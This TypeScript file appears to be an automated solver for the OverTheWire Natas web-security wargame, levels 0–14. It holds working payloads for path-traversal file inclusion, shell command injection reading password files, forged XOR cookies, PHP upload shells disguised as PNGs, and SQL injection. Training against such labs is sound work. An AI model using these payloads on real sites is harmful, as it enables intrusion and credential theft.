import { bytes2str, determinePeriod, hex2bin, xor } from "./util"; const solves: SolveFn[] = [ async ({ fetch }) => { const result = await fetch("/"); const text = await result.text(); const match = text.match(/The password for natas1 is ([^ ]+)/); return match[1]; }, async ({ fetch }) => { const result = await fetch("/"); const text = await result.text(); const match = text.match(/The password for natas2 is ([^ ]+)/); return match[1]; }, async ({ fetch }) => { const result = await fetch("/files/users.txt"); const text = await result.text(); const match = text.match(/^natas3:([^\s]+)$/m); return match[1]; }, async ({ fetch }) => { // Discover this URL through /robots.txt const result = await fetch("/s3cr3t/users.txt"); const text = await result.text(); const match = text.match(/^natas4:([^\s]+)$/m); return match[1]; }, async ({ fetch }) => { const result = await fetch("/", { headers: { Referer: "http://natas5.natas.labs.overthewire.org/" }, }); const text = await result.text(); const match = text.match(/The password for natas5 is ([^\s]+)/m); return match[1]; }, async ({ fetch }) => { const result = await fetch("/", { headers: { cookie: "loggedin=1" }, }); const text = await result.text(); const match = text.match(/The password for natas6 is ([a-zA-Z0-9]+)/m); return match[1]; }, async ({ fetch }) => { const result = await fetch("/includes/secret.inc"); const text = await result.text(); const secret = text.match(/\$secret = "([^"]+)"/); const params = new URLSearchParams([ ["secret", secret[1]], ["submit", "Submit+Query"], ]); const result2 = await fetch("/", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: params.toString(), }); const text2 = await result2.text(); const match = text2.match(/The password for natas7 is ([a-zA-Z0-9]+)/m); return match[1]; }, async ({ fetch }) => { // Local file inclusion const result = await fetch( "/index.php?page=../../../../../etc/natas_webpass/natas8" ); const text = await result.text(); const match = text.match(/<br>\s+([a-zA-Z0-9]+)\s+<!--/m); return match[1]; }, async ({ fetch }) => { const encodedSecret = "3d3d516343746d4d6d6c315669563362"; let secret: any = hex2bin(encodedSecret); secret.reverse(); secret = bytes2str(secret); secret = atob(secret); const params = new URLSearchParams([ ["secret", secret], ["submit", "Submit+Query"], ]); const result = await fetch("/", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: params.toString(), }); const text = await result.text(); const match = text.match(/The password for natas9 is ([a-zA-Z0-9]+)/m); return match[1]; }, async ({ fetch }) => { const result = await fetch( "/?needle=%3B+cat+%2Fetc%2Fnatas_webpass%2Fnatas10+%23&submit=Search" ); const text = await result.text(); const match = text.match(/<pre>\s*([a-zA-Z0-9]+)\s*<\/pre>/m); return match[1]; }, async ({ fetch }) => { const result = await fetch( "/?needle=%22%22+%2Fetc%2Fnatas_webpass%2Fnatas11+%23&submit=Search" ); const text = await result.text(); const match = text.match(/<pre>\s*([a-zA-Z0-9]+)\s*<\/pre>/m); return match[1]; }, async ({ fetch }) => { const result = await fetch("/"); const originalCiphertext = atob( decodeURIComponent(result.headers.get("set-cookie").split("=")[1]) ); const originalPlaintext = `{"showpassword":"no","bgcolor":"#ffffff"}`; const fullKey = xor(originalCiphertext, originalPlaintext); const key = fullKey.slice(0, determinePeriod(fullKey)); const data = { showpassword: "yes", bgcolor: "#ffffff" }; const encrypted = encodeURIComponent( btoa(bytes2str(xor(JSON.stringify(data), key))) ); const result2 = await fetch("/", { headers: { cookie: `data=${encrypted}` }, }); const text = await result2.text(); const match = text.match(/The password for natas12 is ([a-zA-Z0-9]+)/m); return match[1]; }, async ({ fetch }) => { const data = new FormData(); data.append("filename", "index.php"); const payload = `<?php echo file_get_contents("/etc/natas_webpass/natas13"); ?>`; data.append("uploadedfile", new Blob([payload]), "index.php"); const uploadResult = await fetch("/", { method: "POST", body: data, }); const text = await uploadResult.text(); const urlMatch = text.match(/The file <a href="([^"]+)">/); const url = urlMatch[1]; const fileResult = await fetch(url); return (await fileResult.text()).trim(); }, async ({ fetch }) => { const data = new FormData(); data.append("filename", "index.php"); // From http://www.libpng.org/pub/png/spec/1.2/PNG-Structure.html const header = new Uint8Array([137, 80, 78, 71, 13, 10, 26, 10]); const payload = `(<?php echo file_get_contents("/etc/natas_webpass/natas14"); ?>)`; data.append("uploadedfile", new Blob([header, payload]), "index.png"); const uploadResult = await fetch("/", { method: "POST", body: data, }); const text = await uploadResult.text(); console.log("result!", text); const urlMatch = text.match(/The file <a href="([^"]+)">/); const url = urlMatch[1]; const fileResult = await fetch(url); const text2 = await fileResult.text(); const match = text2.match(/\(([^\)]+)\)/); return match[1].trim(); }, async ({ fetch }) => { const params = new URLSearchParams([ ["username", `" or 1=1 or "`], ["password", ""], ]); const result = await fetch("/", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: params.toString(), }); const text = await result.text(); const match = text.match(/The password for natas15 is ([a-zA-Z0-9]+)/m); return match[1]; }, ]; export default solves; interface SolveFn { (props: SolveFnProps): string | Promise<string>; } interface SolveFnProps { username: string; prevPassword: string; fetch: (url: string, init?: RequestInit) => Promise<Response>; }